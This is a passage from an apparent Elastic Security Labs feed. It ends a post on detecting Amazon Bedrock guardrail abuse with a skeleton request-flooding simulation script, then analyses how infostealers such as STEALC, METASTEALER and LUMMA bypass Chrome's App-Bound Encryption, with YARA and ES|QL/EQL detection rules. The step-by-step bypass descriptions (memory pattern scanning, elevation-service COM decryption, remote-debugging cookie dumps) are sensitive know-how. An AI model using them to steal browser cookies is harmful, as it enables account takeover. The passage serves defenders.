a topic denied to the Amazon Bedrock model. Navigate to the Amazon Bedrock section in the Amazon UI Console, and use the left navigation pane to navigate to the Guardrails subsection under Safeguards. Use the sample guardrail created during our setup instructions for this exercise, and use the test option to run a model invocation with the guardrails and query the denied topic configured.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/streamlining-security-integrating-amazon-bedrock/image6.png" alt="" /></p> <p>Repeat the query at least 6 times as the prebuilt rule is designed to alert on greater than 5 high confidence blocks. When the Alert schedule runs, we can see an alert populate for <code>Unusual High Confidence Misconduct Blocks Detected.</code></p> <p><img src="https://www.elastic.co/security-labs/assets/images/streamlining-security-integrating-amazon-bedrock/image7.png" alt="" /></p> <h1>Demonstrate an Exploit Case Scenario for Amazon Bedrock</h1> <p>To simulate an Amazon Bedrock Security bypass, we need an exploit simulation script to interact with Amazon Bedrock models. The exploit script example we provide simulates the following attack pattern:</p> <ul> <li>Attempts multiple successive requests to use denied model resources within AWS Bedrock</li> <li>Generates multiple successive validation exception errors within Amazon Bedrock</li> <li>User consistently generates high input token counts, submits numerous requests, and receives large responses that mimic patterns of resource exhaustion</li> <li>Combines repeated high-confidence 'BLOCKED' actions coupled with specific violation codes such as 'MISCONDUCT', indicating persistent misuse or attempts to probe the model's ethical boundaries</li> </ul> <pre><code class="language-py">class BedrockModelSimulator: def __init__(self, profile_name, region_name): // Create a Boto3 Session Client for Ineration def generate_args_invoke_model(self, model_id, user_message, tokens): // Generate Model Invocation parameters guardrail_id = <<GUARDRAIL_ID>> guardrail_version = <<GUARDRAIL_VERSION>> guardrail_config = { "guardrailIdentifier": guardrail_id, "guardrailVersion": guardrail_version, "trace": "enabled" } conversation = [ { "role": "user", "content": [{"text": user_message}], } ] inference_config = {"maxTokens": tokens, "temperature": 0.7, "topP": 1} additional_model_request_fields = {} kwargs = { "modelId": model_id, "messages": conversation, "inferenceConfig": inference_config, "additionalModelRequestFields": additional_model_request_fields "guardrailConfig" : guardrail_config } return kwargs def invoke_model(self, invocation_arguments): for _ in range(count): try: // Invoke Model With right invocation_arguments except ClientError as e: // Error meesage def main(): profile_name = <<AWS Profile>> region_name = 'us-east-1' denied_model_id = // Use a denied model denied_model_user_message = // Sample Message available_model_id = // Use an available model validation_exception_user_message = // Sample Message resource_exploit_user_message = // A very big message for resource exhuastion denied_topic_user_message = // Sample Message that can query denied topic configured simulator = BedrockModelSimulator(profile_name, region_name) denied_model_invocation_arguments = simulator.generate_args_invoke_model(denied_model_id, denied_model_user_message, 200) simulator.invoke_model(denied_model_invocation_arguments) validation_exception_invocation_arguments = simulator.generate_args_invoke_model(available_model_id, validation_exception_user_message, 6000) simulator.invoke_model(validation_exception_invocation_arguments) resource_exhaustion_invocation_arguments = simulator.generate_args_invoke_available_model(available_model_id, resource_exploit_user_message, 4096) simulator.invoke_model(resource_exhaustion_invocation_arguments) denied_topic_invocation_arguments = simulator.generate_args_invoke_available_model_guardrail(available_model_id, denied_topic_user_message, 4096) simulator.invoke_model(denied_topic_invocation_arguments) if __name__ == "__main__": main() </code></pre> <p><strong>Note:</strong> The GUARDRAIL_ID and GUARDRAIL_VERSION can be found in <code>outputs.tf</code></p> <p>When executed in a controlled environment, the provided script simulates an exploit scenario that would generate detection alerts in Elastic Security. When analyzing these alerts using the Elastic Attack Discovery feature, the script creates attack chains that show the relationships between various alerts, giving analysts a clear understanding of how multiple alerts might be part of a larger attack.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/streamlining-security-integrating-amazon-bedrock/image2.png" alt="" /></p> <h1>Conclusion</h1> <p>Integrating Elastic with Amazon Bedrock empowers organizations to maintain a secure and compliant cloud environment while maximizing the benefits of AI and machine learning. By leveraging Elastic’s advanced security and observability tools, businesses can proactively detect threats, automate compliance reporting, and gain deeper insights into their cloud operations. Increasingly, enterprises rely on opaque data sources and technologies to reveal the most serious threats-- our commitment to transparent security is evident in our open artifacts, integrations, and source code.</p>]]></content:encoded> <enclosure url="https://www.elastic.co/security-labs/assets/images/streamlining-security-integrating-amazon-bedrock/Security Labs Images 36.jpg" length="0" type="image/jpg"/> </item> <item> <title><![CDATA[Katz and Mouse Game: MaaS Infostealers Adapt to Patched Chrome Defenses]]></title> <link>https://www.elastic.co/security-labs/katz-and-mouse-game</link> <guid>katz-and-mouse-game</guid> <pubDate>Mon, 28 Oct 2024 00:00:00 GMT</pubDate> <description><![CDATA[Elastic Security Labs breaks down bypass implementations from the infostealer ecosystem’s reaction to Chrome 127's Application-Bound Encryption scheme.]]></description> <content:encoded><![CDATA[<h1>Introduction</h1> <p>In July, Google <a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html">announced</a> a new protection mechanism for cookies stored within Chrome on Windows, known as Application-Bound Encryption. There is no doubt this security implementation has raised the bar and directly impacted the malware ecosystem. After months with this new feature, many infostealers have written new code to bypass this protection (as the Chrome Security Team predicted) in order to stay competitive in the market and deliver capabilities that reliably retrieve cookie data from Chrome browsers.</p> <p>Elastic Security Labs has been tracking a subset of this activity, identifying multiple techniques used by different malware families to circumvent App-Bound Encryption. While the ecosystem is still evolving in light of this pressure, our goal is to share technical details that help organizations understand and defend against these techniques. In this article, we will cover the different methods used by the following infostealer families:</p> <ul> <li>STEALC/VIDAR</li> <li>METASTEALER</li> <li>PHEMEDRONE</li> <li>XENOSTEALER</li> <li>LUMMA</li> </ul> <h1>Key takeaways</h1> <ul> <li>Latest versions of infostealers implement bypasses around Google’s recent cookie protection feature using Application-Bound Encryption</li> <li>Techniques include integrating offensive security tool ChromeKatz, leveraging COM to interact with Chrome services and decrypt the app-bound encryption key, and using the remote debugging feature within Chrome</li> <li>Defenders should actively monitor for different cookie bypass techniques against Chrome on Windows in anticipation of future mitigations and bypasses likely to emerge in the near- to mid-term</li> <li>Elastic Security provides mitigations through memory signatures, behavioral rules, and hunting opportunities to enable faster identification and response to infostealer activity</li> </ul> <h1>Background</h1> <p>Generically speaking, cookies are used by web applications to store visitor information in the browser the visitor uses to access that web app. This information helps the web app track that user, their preferences, and other information from location to location– even across devices.</p> <p>The authentication token is one use of the client-side data storage structures that enables much of how modern web interactivity works. These tokens are stored by the browser after the user has successfully authenticated with a web application. After username and password, after multifactor authentication (MFA) via one-time passcodes or biometrics, the web application “remembers” your browser is you via the exchange of this token with each subsequent web request.</p> <p>A malicious actor who gets access to a valid authentication token can reuse it to impersonate the user to that web service with the ability to take over accounts, steal personal or financial information, or perform other actions as that user such as transfer financial assets.</p> <p>Cybercriminals use infostealers to steal and commoditize this type of information for their financial gain.</p> <h2>Google Chrome Cookie Security</h2> <p>Legacy versions of Google Chrome on Windows used the Windows native <a href="https://learn.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection">Data Protection API</a> (DPAPI) to encrypt cookies and protect them from other user contexts. This provided adequate protection against several attack scenarios, but any malicious software running in the targeted user’s context could decrypt these cookies using the DPAPI methods directly. Unfortunately, this context is exactly the niche that infostealers often find themselves in after social engineering for initial access. The DPAPI scheme is now <a href="https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107">well known to attackers</a> with several attack vectors; from local decryption using the API, to stealing the masterkey and decrypting remotely, to abusing the domain-wide backup DPAPI key in an enterprise environment.</p> <p>With the release of Chrome 127 in July 2024, Google <a href="https://developer.chrome.com/release-notes/127">implemented</a> Application-Bound Encryption of browser data. This mechanism directly addressed many common DPAPI attacks against Windows Chrome browser data–including cookies. It does this by storing the data in encrypted datafiles, and using a service running as SYSTEM to verify any decryption attempts are coming from the Chrome process before returning the key to that process for decryption of the stored data.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image5.png" alt="Chrome 127 Application-Bound Encryption Scheme. Source: https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html" /></p> <p>While it is our view that this encryption scheme is not a panacea to protect all browser data (as the Chrome Security Team acknowledges in their release) we do feel it has been successful in driving malware authors to TTPs that are more overtly malicious, and easier for defenders to identify and respond to.</p> <h1>Stealer Bypass Techniques, Summarized</h1> <p>The following sections will describe specific infostealer techniques used to bypass Google’s App-Bound Encryption feature as observed by Elastic. Although this isn’t an exhaustive compilation of bypasses, and development of these families is ongoing, they represent an interesting dynamic within the infostealer space showing how malware developers responded to Google’s recently updated security control. The techniques observed by our team include:</p> <ul> <li>Remote debugging via Chrome’s DevTools Protocol</li> <li>Reading process memory of Chrome network service process (ChromeKatz and <code>ReadProcessMemory</code> (RPM))</li> <li>Elevating to <code>SYSTEM</code> then decrypting <code>app_bound_encryption_key</code> with the <code>DecryptData</code> method of <code>GoogleChromeElevationService</code> through COM</li> </ul> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image30.png" alt="Timeline of events" /></p> <h2>STEALC/VIDAR</h2> <p>Our team observed new code introduced to STEALC/VIDAR related to the cookie bypass technique around September 20th. These were atypical samples that stood out from previous versions and were implemented as embedded 64-bit PE files along with conditional checks. Encrypted values in the SQLite databases where Chrome stores its data are now prefixed with v20, indicating that the values are now encrypted using application-bound encryption.</p> <blockquote> <p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc">STEALC</a> was introduced in 2023 and was developed with “heavy inspiration” from other more established stealers such as <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon">RACOON</a> and <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar">VIDAR</a>. STEALC and VIDAR have continued concurrent development, and in the case of App-Bound Encryption bypasses have settled on the same implementation.</p> </blockquote> <p>During the extraction of encrypted data from the databases the malware checks for this prefix. If it begins with <code>v20</code>, a child process is spawned using the embedded PE file in the <code>.data</code> section of the binary. This program is responsible for extracting unencrypted cookie values residing in one of Chrome's child processes.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image2.png" alt="Embedded PE file" /></p> <p>This embedded binary creates a hidden desktop via <code>OpenDesktopA</code> / <code>CreateDesktopA</code> then uses <code>CreateToolhelp32Snapshot</code> to scan and terminate all <code>chrome.exe</code> processes. A new <code>chrome.exe</code> process is then started with the new desktop object. Based on the installed version of Chrome, the malware selects a signature pattern for the Chromium feature <a href="https://www.chromium.org/developers/design-documents/network-stack/cookiemonster/">CookieMonster</a>, an internal component used to manage cookies.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image38.png" alt="Signature pattern for CookieMonster" /></p> <p>We used the <a href="https://github.com/Meckazin/ChromeKatz/blob/9152004174e9a0b2d092c70ebc75efbf80fa1098/CookieKatz/Main.cpp#L123">signature patterns</a> to pivot to existing code developed for an offensive security tool called <a href="https://github.com/Meckazin/ChromeKatz">ChromeKatz</a>. At this time, the patterns have been removed from the ChromeKatz repository and replaced with a new technique. Based on our analysis, the malware author appears to have reimplemented ChromeKatz within STEALC in order to bypass the app-bound encryption protection feature.</p> <p>Once the malware identifies a matching signature, it enumerates Chrome’s child processes to check for the presence of the <code>--utility-sub-type=network.mojom.NetworkService</code> command-line flag. This flag indicates that the process is the network service responsible for handling all internet communication. It becomes a prime target as it holds the sensitive data the attacker seeks, as described in MDSec’s <a href="https://www.mdsec.co.uk/2021/01/breaking-the-browser-a-tale-of-ipc-credentials-and-backdoors/">post</a>. It then returns a handle for that specific child process.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image37.png" alt="Enumerating for Chrome’s network service" /></p> <p>Next, it enumerates each module in the network service child process to find and retrieve the base address and size of <code>chrome.dll</code> loaded into memory. STEALC uses <a href="https://github.com/Meckazin/ChromeKatz/blob/767047dcf8f53c70be5e3e0859c5eee3f129d758/CredentialKatz/Memory.cpp#L280"><code>CredentialKatz::FindDllPattern</code></a> and <a href="https://github.com/Meckazin/ChromeKatz/blob/767047dcf8f53c70be5e3e0859c5eee3f129d758/CookieKatz/Memory.cpp#L435"><code>CookieKatz::FindPattern</code></a> to locate the CookieMonster instances. There are 2 calls to <code>CredentialKatz::FindDllPattern</code>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image17.png" alt="Calls to CredentialKatz::FindDllPattern" /></p> <p>In the first call to <code>CredentialKatz::FindDllPattern</code>, it tries to locate one of the signature patterns (depending on the victim’s Chrome version) in <code>chrome.dll</code>. Once found, STEALC now has a reference pointer to that memory location where the byte sequence begins which is the function <code>net::CookieMonster::~CookieMonster</code>, destructor of the <code>CookieMonster</code> class.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image14.png" alt="Byte sequence for net::CookieMonster::~CookieMonster found in chrome.dll" /></p> <p>The second call to <code>CredentialKatz::FindDllPattern</code> passes in the function address for <code>net::CookieMonster::~CookieMonster(void)</code> as an argument for the byte sequence search, resulting in STEALC having a pointer to <code>CookieMonster</code>’s Virtual Function Pointer struct.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image19.png" alt="CookieMonster’s vtable in chrome.dll" /></p> <p>The following method used by STEALC is again, identical to ChromeKatz, where it locates <code>CookieMonster</code> instances by scanning memory chunks in the <code>chrome.dll</code> module for pointers referencing the <code>CookieMonster</code> vtable. Since the vtable is a constant across all objects of a given class, any <code>CookieMonster</code> object will have the same vtable pointer. When a match is identified, STEALC treats the memory location as a <code>CookieMonster</code> instance and stores its address in an array.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image16.png" alt="Using CookieKatz::FindPattern to locate CookieMonster instances" /></p> <p>For each identified <code>CookieMonster</code> instance, STEALC accesses the internal <code>CookieMap</code> structure located at an offset of <code>+0x30</code>, and which is a binary tree. Each node within this tree contains pointers to <code>CanonicalCookieChrome</code> structures. <code>CanonicalCookieChrome</code> structures hold unencrypted cookie data, making it accessible for extraction. STEALC then initiates a tree traversal by passing the first node into a dedicated traversal function.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image20.png" alt="Initiating CookieMap tree traversal for each CookieMonster instance found" /></p> <p>For each node, it calls <code>ReadProcessMemory</code> to access the <code>CanonicalCookieChrome</code> structure from the target process’s memory, then further processing it in <code>jy::GenerateExfilString</code>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image31.png" alt="CookieMap traversal subroutine" /></p> <p>STEALC formats the extracted cookie data by converting the expiration date to UNIX format and verifying the presence of the <code>HttpOnly</code> and <code>Secure</code> flags. It then appends details such as the cookie's name, value, domain, path, and the <code>HttpOnly</code> and <code>Secure</code> into a final string for exfiltration. <a href="https://github.com/Meckazin/ChromeKatz/blob/9152004174e9a0b2d092c70ebc75efbf80fa1098/CookieKatz/Memory.cpp#L10"><code>OptimizedString</code></a> structs are used in place of strings, so string values can either be the string itself, or if the string length is greater than 23, it will point to the address storing the string.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image23.png" alt="Constructing string for data exfiltration" /></p> <h2>METASTEALER</h2> <p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer">METASTEALER</a>, first observed in 2022, recently upgraded its ability to steal Chrome data, bypassing Google’s latest mitigation efforts. On September 30th, the malware authors announced this update via their Telegram channel, highlighting its enhanced capability to extract sensitive information, including cookies, despite the security changes in Chrome's version <code>129+</code>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image26.png" alt="METASTEALER announcement and translation" /></p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image28.png" alt="source: https://x.com/g0njxa/status/1840761619686568319/" /></p> <p>The <a href="https://www.virustotal.com/gui/file/973a9056040af402d6f92f436a287ea164fae09c263f80aba0b8d5366ed9957a">first sample</a> observed in the wild by our team was discovered on September 30th, the same day the authors promoted the update. Despite claims that the malware operates without needing <code>Administrator</code> privileges, our testing revealed it does require elevated access, as it attempts to impersonate the <code>SYSTEM</code> token during execution.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image11.png" alt="Code comparison between an old and a new version of the family" /></p> <p>As shown in the screenshots above, the <code>get_decryption</code> method now includes a new Boolean parameter. This value is set to <code>TRUE</code> if the encrypted data (cookie) begins with the <code>v20</code> prefix, indicating that the cookie is encrypted using Chrome's latest encryption method. The updated function retains backward compatibility, still supporting the decryption of cookies from older Chrome versions if present on the infected machine.</p> <p>The malware then attempts to access the <code>Local State</code> or <code>LocalPrefs.json</code> files located in the Chrome profile directory. Both files are JSON formatted and store encryption keys (<code>encrypted_key</code>) for older Chrome versions and <code>app_bound_encrypted_key</code> for newer ones. If the flag is set to <code>TRUE</code>, the malware specifically uses the <code>app_bound_encrypted_key</code> to decrypt cookies in line with the updated Chrome encryption method.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image13.png" alt="app_bound_encrypted_key extracted from Chrome json file" /></p> <p>In this case, the malware first impersonates the <code>SYSTEM</code> token using a newly introduced class called <code>ContextSwitcher</code>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image35.png" alt="New class for TOKEN impersonation" /></p> <p>It then decrypts the key by creating an instance via the COM of the Chrome service responsible for decryption, named <code>GoogleChromeElevationService</code>, using the CLSID <code>708860E0-F641-4611-8895-7D867DD3675B</code>. Once initialized, it invokes the <a href="https://github.com/chromium/chromium/blob/225f82f8025e4f93981310fd33daa71dc972bfa9/chrome/elevation_service/elevator.cc#L155"><code>DecryptData</code></a> method to decrypt the <code>app_bound_encrypted_key</code> key which will be used to decrypt the encrypted cookies.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image8.png" alt="New class ComInvoker to invoke methods from GoogleChromeElevationService service" /></p> <p>METASTEALER employs a technique similar to the one demonstrated in a <a href="https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824">gist</a> shared <a href="https://x.com/snovvcrash/status/1839715912812802162">on X</a> on September 27th, which may have served as inspiration for the malware authors. Both approaches leverage similar methods to bypass Chrome's encryption mechanisms and extract sensitive data.</p> <h2>PHEMEDRONE</h2> <p>This <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.phemedrone_stealer">open-source stealer</a> caught the world’s attention earlier in the year through its usage of a Windows SmartScreen vulnerability (CVE-2023-36025). While its development is still occurring on Telegram, our team found a recent <a href="https://www.virustotal.com/gui/file/1067d27007ea862ddd68e90ef68b6d17fa18f9305c09f72bad04d00102a60b8c">release</a> (2.3.2) submitted at the end of September including new cookie grabber functionality for Chrome.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image10.png" alt="README.txt within PHEMEDRONE project" /></p> <p>The malware first enumerates the different profiles within Chrome, then performs a browser check using function (<code>BrowserHelpers.NewEncryption</code>) checking for the Chrome browser with a version greater than or equal to <code>127</code>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image27.png" alt="Chrome version verification in PHEMEDRONE" /></p> <p>If the condition matches, PHEMEDRONE uses a combination of helper functions to extract the cookies.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image34.png" alt="High-level functions used cookie extraction in PHEMEDRONE" /></p> <p>By viewing the <code>ChromeDevToolsWrapper</code> class and its different functions, we can see that PHEMEDRONE sets up a remote debugging session within Chrome to access the cookies. The default port (<code>9222</code>) is used along with window-position set to <code>-2400</code>,<code>-2400</code> which is set off-screen preventing any visible window from alerting the victim.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image15.png" alt="New Chrome process in remote debug mode" /></p> <p>Next, the malware establishes a WebSocket connection to Chrome’s debugging interface making a request using deprecated Chrome DevTools Protocol method (<code>Network.getAllCookies</code>).</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image24.png" alt="Chrome DevTools Protocol used to retrieve cookies" /></p> <p>The cookies are then returned from the previous request in plaintext, below is a network capture showing this behavior:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image32.png" alt="Cookie data within network capture" /></p> <h2>XENOSTEALER</h2> <p><a href="https://github.com/moom825/XenoStealer/">XENOSTEALER</a> is an open-source infostealer hosted on GitHub. It appeared in July 2024 and is under active development at the time of this publication. Notably, the Chrome bypass feature was committed on September 26, 2024.</p> <p>The approach taken by XENOSTEALER is similar to that of METASTEALER. It first parses the JSON file under a given Chrome profile to extract the <code>app_bound_encrypted_key</code>. However, the decryption process occurs within a Chrome process. To achieve this, XENOSTEALER launches an instance of <code>Chrome.exe</code>, then injects code using a helper class called <a href="https://github.com/moom825/XenoStealer/blob/d1c7e242183a2c8582c179a1b546f0a5cdff5f75/XenoStealer/Injector/SharpInjector.cs"><code>SharpInjector</code></a>, passing the encrypted key as a parameter.</p> <p>The injected code subsequently calls the <code>DecryptData</code> method from the <code>GoogleChromeElevationService</code> to obtain the decrypted key.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image29.png" alt="Source code of the injected code" /></p> <h2>LUMMA</h2> <p>In mid-October, the latest version of <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma">LUMMA</a> implemented a new method to bypass Chrome cookie protection, as reported by <a href="https://x.com/g0njxa">@g0njxa</a>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image40.png" alt="" /></p> <p>We analyzed a recent version of LUMMA, confirming that it managed to successfully recover the cookie data from the latest version of Google Chrome (<code>130.0.6723.70</code>). LUMMA first creates a visible Chrome process via <code>Kernel32!CreateProcessW</code>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image3.png" alt="Dump of CreateProcessW lpApplicationName parameter" /></p> <p>This activity was followed up in the debugger with multiple calls to <code>NtReadVirtualMemory</code> where we identified LUMMA searching within the Chrome process for <code>chrome.dll</code>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image7.png" alt="LUMMA seeks chrome.dll in Chrome" /></p> <p>Once found, the malware copies the <code>chrome.dll</code> image to its own process memory using <code>NtReadVirtualMemory</code>. In a similar fashion to the ChromeKatz technique, Lumma leverages pattern scanning to target Chrome’s <code>CookieMonster</code> component.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image36.png" alt="Lumma’s pattern scanning" /></p> <p>Lumma uses an obfuscated signature pattern to pinpoint the <code>CookieMonster</code> functionality:</p> <pre><code>3Rf5Zn7oFA2a????k4fAsdxx????l8xX5vJnm47AUJ8uXUv2bA0s34S6AfFA????kdamAY3?PdE????6G????L8v6D8MJ4uq????k70a?oAj7a3????????K3smA????maSd?3l4 </code></pre> <p>Below is the YARA rule after de-obfuscation:</p> <pre><code>rule lumma_stealer { meta: author = "Elastic Security Labs" strings: $lumma_pattern = { 56 57 48 83 EC 28 89 D7 48 89 CE E8 ?? ?? ?? ?? 85 FF 74 08 48 89 F1 E8 ?? ?? ?? ?? 48 89 F0 48 83 C4 28 5F 5E C3 CC CC CC CC CC CC CC CC CC CC 56 57 48 83 EC 38 48 89 CE 48 8B 05 ?? ?? ?? ?? 48 31 E0 48 89 44 24 ?? 48 8D 79 ?? ?? ?? ?? 28 E8 ?? ?? ?? ?? 48 8B 46 20 48 8B 4E 28 48 8B 96 ?? ?? ?? ?? 4C 8D 44 24 ?? 49 89 10 48 C7 86 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 FA FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 31 E1} condition: all of them } </code></pre> <p>After decoding and searching for the pattern in <code>chrome.dll</code>, this leads to the <code>CookieMonster</code> destructor (<a href="https://chromium.googlesource.com/chromium/src/net/+/master/cookies/cookie_monster.cc#657"><code>net::CookieMonster::~CookieMonster</code></a>).</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image25.png" alt="Lumma pattern match on CookieMonster" /></p> <p>The cookies are then identified in memory and dumped out in clear text from the Chrome process.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image21.png" alt="LUMMA dumping the cookie in clear text from Chrome" /></p> <p>Once completed, LUMMA sends out the cookies along with the other requested data as multiple zip files (xor encrypted and base64 encoded) to the C2 server.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image12.png" alt="Received stolen cookies on the C2 side" /></p> <h1>Detection</h1> <p>Below are the following behavioral detections that can be used to identify techniques used by information stealers:</p> <ul> <li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_web_browser_credential_access_via_unusual_process.toml#L8">Web Browser Credential Access via Unusual Process</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_web_browser_credential_access_via_unsigned_process.toml#L8">Web Browser Credential Access via Unsigned Process</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_access_to_browser_credentials_from_suspicious_memory.toml#L8">Access to Browser Credentials from Suspicious Memory</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_failed_access_attempt_to_web_browser_files.toml#L8">Failed Access Attempt to Web Browser Files</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_browser_debugging_from_unusual_parent.toml#L3">Browser Debugging from Unusual Parent</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/discovery_potential_browser_information_discovery.toml#L8">Potential Browser Information Discovery</a></li> </ul> <p>Additionally, the following queries can be used for hunting diverse related abnormal behaviors:</p> <h2>Cookies access by an unusual process</h2> <p>This query uses file open events and aggregate accesses by process, then looks for ones that are observed in unique hosts and with a low total access count:</p> <pre><code class="language-sql">FROM logs-endpoint.events.file-default* | where event.category == "file" and event.action == "open" and file.name == "Cookies" and file.path like "*Chrome*" | keep file.path, process.executable, agent.id | eval process_path = replace(to_lower(process.executable), """c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\""", "c:\\\\users\\\\user\\\\") | stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by process_path | where agents_count <= 2 and access_count <=2 </code></pre> <p>Below example of matches from diverse information stealers including the updated ones with new Chrome cookies stealing capabilities:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image22.png" alt="ES|QL query results for suspicious browser cookies file access" /></p> <p>METASTEALER behavior tends to first terminate all running chrome instances then calls <a href="https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cocreateinstance"><code>CoCreateInstance</code></a> to instantiate the Google Chrome <a href="https://chromium.googlesource.com/chromium/src/+/main/chrome/elevation_service/">elevation service</a>, this series of events can be expressed with the following EQL query:</p> <pre><code class="language-sql">sequence by host.id with maxspan=1s [process where event.action == "end" and process.name == "chrome.exe"] with runs=5 [process where event.action == "start" and process.name == "elevation_service.exe"] </code></pre> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image4.png" alt="EQL query results for suspicious browser termination" /></p> <p>The previous hunt indicates suspicious agents but doesn't identify the source process. By <a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4663">enabling registry object access auditing through event 4663</a> on the Chrome Elevation service CLSID registry key <code>{708860E0-F641-4611-8895-7D867DD3675B}</code>, we can detect unusual processes attempting to access that key:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image9.png" alt="Google Chrome Elevation COM registry access" /></p> <pre><code class="language-sql">FROM logs-system.security-default* | where event.code == "4663" and winlog.event_data.ObjectName == "\\REGISTRY\\MACHINE\\SOFTWARE\\Classes\\CLSID\\{708860E0-F641-4611-8895-7D867DD3675B}" and not winlog.event_data.ProcessName in ("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe") and not winlog.event_data.ProcessName like "C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\*\\\\elevation_service.exe" | stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by winlog.event_data.ProcessName | where agents_count <= 2 and access_count <=2 </code></pre> <p>Below is an example of matches on the METASTEALER malware while calling <code>CoCreateInstance (CLSID_Elevator)</code>:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image39.png" alt="ES|QL query results for suspicious access to chrome elevation service registry" /></p> <p>The <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.phemedrone_stealer">PHEMEDRONE</a> stealer uses the <a href="https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e">known</a> browser debugging method to collect cookies via Chromium API, this can be observed in the following screenshot where we can see an instance of NodeJs communicating with a browser instance with debugging enabled over port <code>9222</code>:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image33.png" alt="PHEMEDRONE - network connection to chrome over port 9222" /></p> <p>The following EQL query can be used to look for unusual processes performing similar behavior:</p> <pre><code class="language-sql">sequence by host.id, destination.port with maxspan=5s [network where event.action == "disconnect_received" and network.direction == "ingress" and process.executable in~ ("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", "C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe") and source.address like "127.*" and destination.address like "127.*"] [network where event.action == "disconnect_received" and network.direction == "egress" and not process.executable in~ ("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", "C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe") and source.address like "127.*" and destination.address like "127.*"] </code></pre> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image1.png" alt="EQL query results for browser debugging 